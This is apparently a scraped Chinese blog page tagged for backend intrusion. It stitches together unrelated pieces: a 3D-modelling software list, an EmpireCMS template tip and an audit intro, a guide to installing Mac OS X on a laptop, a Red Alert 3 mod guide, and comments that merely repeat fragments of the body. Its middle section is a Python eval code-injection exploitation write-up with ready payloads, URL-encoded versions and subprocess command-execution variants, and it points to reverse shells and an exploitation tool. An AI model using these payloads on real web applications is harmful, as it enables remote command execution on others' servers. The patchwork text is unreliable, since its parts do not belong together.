作者:hacker发布时间:2022-07-18分类:入侵后台浏览:90评论:5
1、MODO 12(3d建模软件)
一款非常优秀的3D建模设计软件,使用这款MODO 12(3D建模软件)可以让你感受高级多边形细分曲面、建模、雕刻、3D绘画、动画与渲染于一体的便利性,简单的操作,上手无难度。
2、Blender
开源的多平台轻量级全能三维动画制作软件,喜欢3D绘图的玩家们可以使用Blender制作出自己喜爱的3D模型。
3、Maya
Maya是世界顶级的三维动画软件,应用对象是专业的影视广告,角色动画,电影特技等。Maya功能完善,工作灵活,易学易用,制作效率极高,渲染真实感极强,是电影级别的高端制作软件。
4、Rhino
Rhinocero,简称Rhino,又叫犀牛,是一款三维建模工具。不过不要小瞧它,它的基本操作和AutoCAD有相似之处,拥有AutoCAD基础的初学者更易于掌握犀牛。目前广泛应用于工业设计、建筑、家具、鞋模设计,擅长产品外观造型建模。
5、Silo
一款专注且闪电般快速的独立3d建模器。是电影角色和3D打印对象的专业人士的最爱。着重于 3D设计、动画、录影游戏制作和传达想法等领域的模型建造和塑形。
参考资料来源:百度百科-3D建模
最简单的方法,登陆帝国cms后台-模板管理-公共模板变量-管理模板变量——找到你使用的尾部变量——默认是[!--temp.footer--],把复制的cnzz代码放在a href="" target="_blank"EmpireSoft Inc./a后面,如果是自己做的模板,就放在自己的尾部变量适当的地方即可。然后重新刷新所有页面
爱建站公益网为您解答,还有疑问欢迎咨询
如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。
为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。
因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:
1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:
git clone VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:
1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:
\
大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。
不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。
这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。
当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:
\
下图显示的是Burp在扫描这个漏洞时所使用的Payload:
\
我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。
因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的方法来实现,例如使用全局函数“__import__”。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:
\
请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。
如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用方法跟sqlmap基本相同。
帝国EmpireCMS7.5最新后台漏洞审计
1概述
最近在做审计和WAF规则的编写,在CNVD和CNNVD等漏洞平台寻找各类CMS漏洞研究编写规则时顺便抽空对国内一些小的CMS进行了审计,另外也由于代码审计接触时间不是太常,最近一段时间也跟着公司审计项目再次重新的学习代码审计知识,对于入行已久的各位审计大佬来说,自己算是新手了。对于审计也正在不断的学习和积累中。于是抽空在CNVD上选取了一个国内小型CMS进行审计,此次审计的CMS为EmpireCMS_V7.5版本。从官方下载EmpireCMS_V7.5后进行审计,审计过程中主要发现有三处漏洞(应该还有其他漏洞暂未审计):配置文件写入、后台代码执行及后台getshell,造成这几处漏洞的原因几乎是由于对输入输出参数未作过滤和验证所导致。
2前言
帝国网站管理英文译为”EmpireCMS”,它是基于B/S结构,安全、稳定、强大、灵活的网站管理系统.帝国CMS 7.5采用了系统模型功能:用户通过此功能可直接在后台扩展与实现各种系统,如产品、房产、供求…等等系统,因此特性,帝国CMS系统又被誉为“万能建站工具”;大容量数据结构设计;高安全严谨设计;采用了模板分离功能:把内容与界面完全分离,灵活的标签+用户自定义标签,使之能实现各式各样的网站页面与风格;栏目无限级分类;前台全部静态:可承受强大的访问量;强大的信息采集功能;超强广告管理功能……
3代码审计部分
拿到该CMS后先把握大局按照往常一样先熟悉该CMS网站基本结构、入口文件、配置文件及过滤,常见的审计方法一般是:通读全文发(针对一些小型CMS)、敏感函数回溯法以及定向功能分析法,自己平常做审计过程中这几个方法用的也比较多。在把握其大局熟悉结构后,再通过本地安装去了解该CMS的一些逻辑业务功能并结合黑盒进行审计,有时候黑盒测试会做到事半功倍。
常见的漏洞个人总结有:
1)程序初始化安装
2)站点信息泄漏
3)文件上传
4)文件管理
5)登陆认证
6)数据库备份
7)找回密码
8)验证码
若各位大佬在审计过程中还有发现其他漏洞可补充交流。
1
编辑好不容易找到了一套MAC PC版,在自己的IBM T40上体验了一把苹果的味道。与XP不同,在PC本本上安装之前还需要做一些准备工作。首先要确定您本本的CPU需要同时支持SSE2和SSE3指令集,否则将无法安装。如果您对自己CPU能否支持以上两大指令集不太确定的话,笔者建议您到英特尔或者AMD的相关官方网站下载CPU检测工具软件,就能得出正确答案。由于苹果电脑长期采用ATI显卡,故而没有内置对nVidia显卡的支持,大家在正式安装时需要注意。像笔者的IBM T40采用ATI 7500这样老掉牙的显卡,也没有关系。对于英特尔的集成显卡,MAC PC版只支持GMA900集成显卡,其他型号的均不支持。若您的本本是采用英特尔的集成显卡,笔者建议最好弄明白其型号。无线卡方面MAC PC版只支持boardcom无线模块,并不支持英特尔无线网卡,因此迅驰机型还是需要另购一块无线网卡。至于内存和硬盘要求倒是不高,内存最低 256MB,硬盘至少6GB即可,当然本本也至少需要配一个DVD光驱。
硬件方面搞定之后,我们还要对文件系统进行一番改造。Mac OS X采用苹果的HFS+文件系统,而Windows和Linux都不支持这种分区,甚至连一些常用的磁盘工具也不能识别它们,因此在安装之前必须为Mac OS X准备好可用的分区。不过好在MAC能识别FAT32文件系统,所以笔者先用XP光盘在硬盘上划出一块FAT32分区。
2
用XP光盘在硬盘上划出一块FAT32分区
然后重新启动系统,进入本本的BIOS,将启动顺序修改成光盘为第一启动项。保存修改后,笔者将安装光盘放入光驱开始安装。笔者IBM T40的硬件配置为PM1.3G,768M内存,40GB硬盘,只花了将近半个小时即安装完毕,比XP还快一点。而且整个安装过程不像XP一样要重启数次,可以说是一气呵成故而节约了不少时间。MAC安装过程既不需要输入序列号,也不用激活可以说方便不少。人家苹果是靠卖硬件过日子的,不像微软靠软件生活,当然要比老盖厚道多了。
3
选择光盘启动
安装光盘启动系统首先会给出显卡的具体型号(如果您是用ATI显卡的话),再然后提示您是安装系统还是启动系统,您有八秒钟的选择时间,动作可以快唷。
4
信息提示界面
安装界面刚开始就是屏幕中间出现苹果LOGO。LOGO下方还有一个圆形的进度条,这启动画面可比XP的启动界面精致、漂亮多了。
5
简约的苹果界面
安装程序正式启动完毕之后,您先需要指定系统的语言类型。与微软为每个语言单独制做安装程序不同,苹果安装程序是将15种语言都做成一个光盘程序,系统安装成功之后我们可以十分方便地在各种语言之间切换。
6
苹果系统语言选择界面
经过短暂的蓝白相间进度条的滚动,安装程序将带我们进入下一步安装步骤。
正式进入MAC OS X系统安装过程
首先我们见到的是欢迎界面,上面有些对MAC的简要介绍。相比微软在整个安装过程中不停地做广告相比,老乔同志要厚道得多了。我们不必细看可以进入下一步安装。
MAC OS X系统介绍
接下去是软件协议,其实内容很多看一遍相当费时。笔者以为也不必细看,因为不接受软件协议就无法再继续进行安装。接受软件协议后我们继续安装。
软件许可协议
软件许可协议
下面的安装至关重要,我们要把刚才格成FAT32的磁盘分区格式化成苹果的HFS+。启动安装程序中的磁盘工具,在左侧窗口选定已经分为 FAT32硬盘分区。然后选择分区格式为Mac OS扩展式(日志式)(其实就是HFS+文件系统),然后点击“分区”(就是我们常说的格式化)按键即可。届时会弹出一个对话框,我们按“分区”键就开始正式格式化了。
MAC OS X系统为HFS+文件系统
等文件系统搞定之后,我们退出磁盘工具继续安装下去。我们需要系统安装的宗卷(也就是我们常说的硬盘分区),然后点击“继续”键。
分区格式化磁盘
安装程序为了保证安装光盘妥当无误,会在正式安装之前先检查光盘中的文件是否有残缺。检查时间颇长,若是您对光盘很有相信的话,可以跳过检查项进行安装。
检查DVD光盘文件
第3页:重要的系统补丁选择步骤
我们在进行安装时一定要选择自定义安装,如果选择基本安装会有几个重要补丁不能安装,导致需要重新安装系统。笔者第一次安装也是未能深谙此道,结果又重新安装了一遍浪费了半个小时。选择自定义安装之后,会出现补丁列表对话框。根据我们本本的CPU类型,分别勾选相关的 CPU补丁。若您使用创新的USB外置声卡,也别忘了把补丁勾上。如果您采用的ATI显卡是X1600以上级别,请把X1600补丁打上。另外,如果您的本本是采用VIA芯片组的,也要将VIA驱动选上。由于这些补丁对于安全完成之后,系统能否稳定有效地运行起着至关重要的作用。笔者的经验是:选择完毕之后,然后自己根据本本的硬件配置再仔细核对相关补丁是否有所遗漏。如果您遗漏了必须的补丁会导致安装失败,从而需要重新安装了。
选择驱动补丁
根据自己的型号来选择
接下去就是比较漫长的安装过程。我们不必干预,如果您有兴趣可以看看其安装各个组件的先后顺序。最后安装完成之后,安装程序会提示我们在3秒钟内重启系统。我们应该尽快从光驱中把光盘取出。反正苹果安装程序给我们的选择时间特别短,这可能与老乔同志风风火火的性格有很大关系吧
MAC OS X系统安装界面
重启之后在笔者的小黑上面就开始见到久违的MAC了。无论是界面还是人性化程度,都比我们天天打交道的XP美观、漂亮得多。不过笔者在这里需要提醒一点:MAC与XP在操作上有很大的区别,可能您需要适应上一段时间才能上手。
最先你要把mod放入mod文件夹里,如下图,点击“mod文件夹”:
每个mod要放在一个文件夹下,这里文件夹名任意取,随便你取什么名,包括汉字名,最终显示在目录里的仍然是英文字母的原名
每个mod文件夹里应该至少包含 .big 和 .skudef 两个后缀名的文件,至于那个txt文档只是给玩家看的此mod的更新说明可有可无。
mod文件放到位后,你对着红色警戒3的快捷方式点右键,弹出右键菜单,点“属性”
如下图,在“目标”项目里的最后面加上: 空格、数字键盘区的减号、ui。特别提醒:后引号的后面有个空格,再是减号,再加字母ui!
修改好后点“确定”,这时你再点红警3快捷方式会弹出下面窗口:
你依次点:游戏浏览器→mod→点选mod名→载入。即可进入非常有特色的红警3 mod!
已有5位网友发表了看法:
访客 评论于 2022-07-18 10:45:05 回复
。选择驱动补丁根据自己的型号来选择接下去就是比较漫长的安装过程。我们不必干预,如果您有兴趣可以看看其安装各个组件的先后顺序。最后安装完成之后,安装程序会提示我们在3秒钟内重启系统。我们应该尽快从光驱中把光盘取出。反正苹果安装程序给我们的选择时间特别短,这可能与老乔同志
访客 评论于 2022-07-18 03:41:18 回复
ated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:# Examples
访客 评论于 2022-07-18 08:15:32 回复
通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Em
访客 评论于 2022-07-18 09:17:49 回复
12(3d建模软件)一款非常优秀的3D建模设计软件,使用这款MODO 12(3D建模软件)可以让你感受高级多边形细分曲面、建模、雕刻、3D绘画、动画与渲染于一体的便利性,简单的操作,上手无难度。2、Blender开源的多平台轻量级全能三维动画制作软件,喜欢3D绘图的玩家们可
访客 评论于 2022-07-18 05:40:55 回复
样先熟悉该CMS网站基本结构、入口文件、配置文件及过滤,常见的审计方法一般是:通读全文发(针对一些小型CMS)、敏感函数回溯法以及定向功能分析法,自己平常做审计过程中这几个方法用的也比较多。在把握其大局熟悉结构后,再通过本地安装去了解该CMS的一些逻辑业务功能并结合黑盒进行审计,有时候